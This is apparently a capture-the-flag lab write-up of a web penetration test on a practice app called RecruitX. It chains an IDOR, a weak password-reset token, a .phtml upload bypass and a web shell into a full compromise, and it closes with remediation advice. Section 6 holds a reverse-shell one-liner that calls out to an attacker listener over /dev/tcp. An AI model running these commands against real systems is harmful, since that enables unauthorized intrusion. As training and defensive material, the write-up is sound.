Web Pentest Notes: RecruitX
A structured walkthrough of the engagement, in the order the attack chain actually happened.
1. Reconnaissance
Port scanning
Scans all 65535 ports (-p-), grabs service/version info (-sV), and runs default NSE scripts (-sC) to fingerprint what's running on the box.
HTTP response headers
Sends a HEAD request so only headers come back (status code, Content-Type, Server, caching info, redirects) a fast way to fingerprint the web server before touching anything else.
Directory enumeration
gobuster dir -u http://10.113.170.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
Gobuster brute-forces the wordlist against the target to discover hidden directories and files. -x php tells it to also try each word with a .php extension.
2. IDOR: Insecure Direct Object Reference
IDOR is one of the most common web app flaws: the app trusts a client-supplied ID without checking whether this user is allowed to see that resource.
Inspect -> storage -> cookies -> PHPSESSID=
curl -s -b "PHPSESSID=o6b2tven9t6f2137eqeo15k8bj" "http://10.113.170.93/profile.php?id=1" | grep "fw-semibold"
Output:
<div class="fw-semibold mt-1">Sarah Mitchell</div>
<div class="fw-semibold mt-1 mono">s.mitchell@recruitx.thm</div>
<div class="fw-semibold mt-1">March 24, 2026</div>
By changing id=1 and reusing a valid session cookie, any profile including the administrator's could be pulled without an authorization check. This is how the admin's name and email were discovered.
3. Weak Password Reset
Tested the reset flow at http://10.113.170.93/reset.php using a throwaway account (testuser@fake.thm) to observe its behavior first.
Token samples observed:
| Attempt | Token |
|---|---|
| 1 | 583049 |
| 2 | 793939 |
| 3 | 456340 |
The tokens are six digits (1,000,000 possible values) and critically were exposed directly in the HTTP response rather than sent only via email. That combination let the token for the administrator's account be generated and read directly, enabling a password takeover.
4. Admin Panel Access
With admin credentials in hand, http://10.113.170.93/admin and /admin/upload.php became reachable.
Investigating the upload function
Inspect HTLM source code.
Inspecting the upload form showed:
- Client-side accept attribute restricting file types (PDF, DOCX, images) enforced only by the browser
- Upload destination: /uploads/documents/
Testing upload restrictions
| File tested | Result |
|---|---|
test.txt (after removing the accept attribute in dev tools) |
Rejected proves the restriction is also client-side only |
test.php containing <?php echo "PHP is executing"; ?> |
Rejected server checks the extension |
test.phtml (same PHP payload) |
Accepted |
Apache often executes .phtml as PHP, and the server's blocklist only checked for .php —not alternative PHP executable extensions. Visiting http://10.113.170.93/uploads/documents/test.phtml confirmed execution.
5. Remote Code Execution
Web shell
shell.phtml:
Uploaded via the admin panel, then triggered:
→ <pre>www-data</pre>
→ <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
System info gathered:
- Hostname:
recruitx-prod uname -a:Linux ... 6.8.0-1017-aws #18-Ubuntu SMP ... x86_64 GNU/Linux
Reading sensitive files
Confirmed user accounts on the box (root, ubuntu, mysql, etc.).
6. Reverse Shell
A web shell is slow one HTTP request per command, no interactivity, awkward with special characters. Upgraded to a real shell.
Listener:
Trigger (payload URL-encoded to survive the query string):
curl "http://10.113.170.93/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.113.96.52/4444+0>%261'"
Result: interactive session as www-data@recruitx-prod.
7. Attack Chain Summary
- Enumeration — mapped stack (Apache/PHP/MySQL), directories, an API endpoint, reset page, uploads dir, admin panel.
- IDOR —
/profile.php?id=and/api/user?id=leaked the admin's identity. - Weak password reset — token exposed in-response → admin account takeover.
- Admin panel access — reached the upload function using the stolen account.
- RCE —
.phtmlbypassed the extension blocklist → web shell → reverse shell.
8. Remediation
| Vulnerability | Severity | Remediation |
|---|---|---|
| IDOR on user profiles/API | High | Server-side authorization checks on every request; verify the authenticated user owns the requested resource. |
| Password reset token in response | Critical | Send tokens via email only; show a generic confirmation on-page; use ≥32-char cryptographically random tokens. |
| Incomplete extension blocklist | Critical | Use an allowlist, not a blocklist; validate MIME/content, not just extension; store uploads outside the web root. |
| API endpoint disclosure | Medium | Remove or restrict the API index to authenticated admins; don't expose internal route structure. |
Key lessons: enumeration drives everything; small, well-known flaws (IDOR, weak resets, upload bypasses) chain into full compromise; client-side restrictions are not security; report severity and remediation clearly, not just proof of exploitation.
Appendix: curl Flags Used (and a few common extras)
| Flag | Meaning | Where it showed up here |
|---|---|---|
-I |
HEAD request headers only, no body | Initial recon (curl -I http://...) |
-s |
Silent mode suppresses the progress meter and error messages, gives clean output for piping | Every automated request, e.g. curl -s -b ... | grep ... |
-b "name=value" |
Send a cookie with the request (--cookie) |
Reusing PHPSESSID to hit profile.php as an authenticated user |
| (bare URL) | Default is a GET request | Triggering the web shell / reverse shell via ?cmd= |
A note on -a: lowercase -a in curl is --append — it's for upload operations (FTP/SFTP) and tells the server to append to the remote file instead of overwriting it. It's unrelated to -s (silent) or -A (uppercase, sets the User-Agent header) easy flags to mix up since they look similar. None of them were needed in this engagement since everything here was plain GET requests with a cookie header.
A few other flags worth knowing for this kind of work, not used above but common in pentest curl one-liners:
-X POST: force a specific HTTP method-d "key=value": send POST body data (form-encoded)-H "Header: value": add/override a request header-A "user-agent-string": spoof theUser-Agent-o file/-O: save the response to a file (-Ouses the remote filename)-v: verbose mode, shows the full request/response including headers (useful when-I's HEAD request behaves differently from a real GET)-L: follow redirects automatically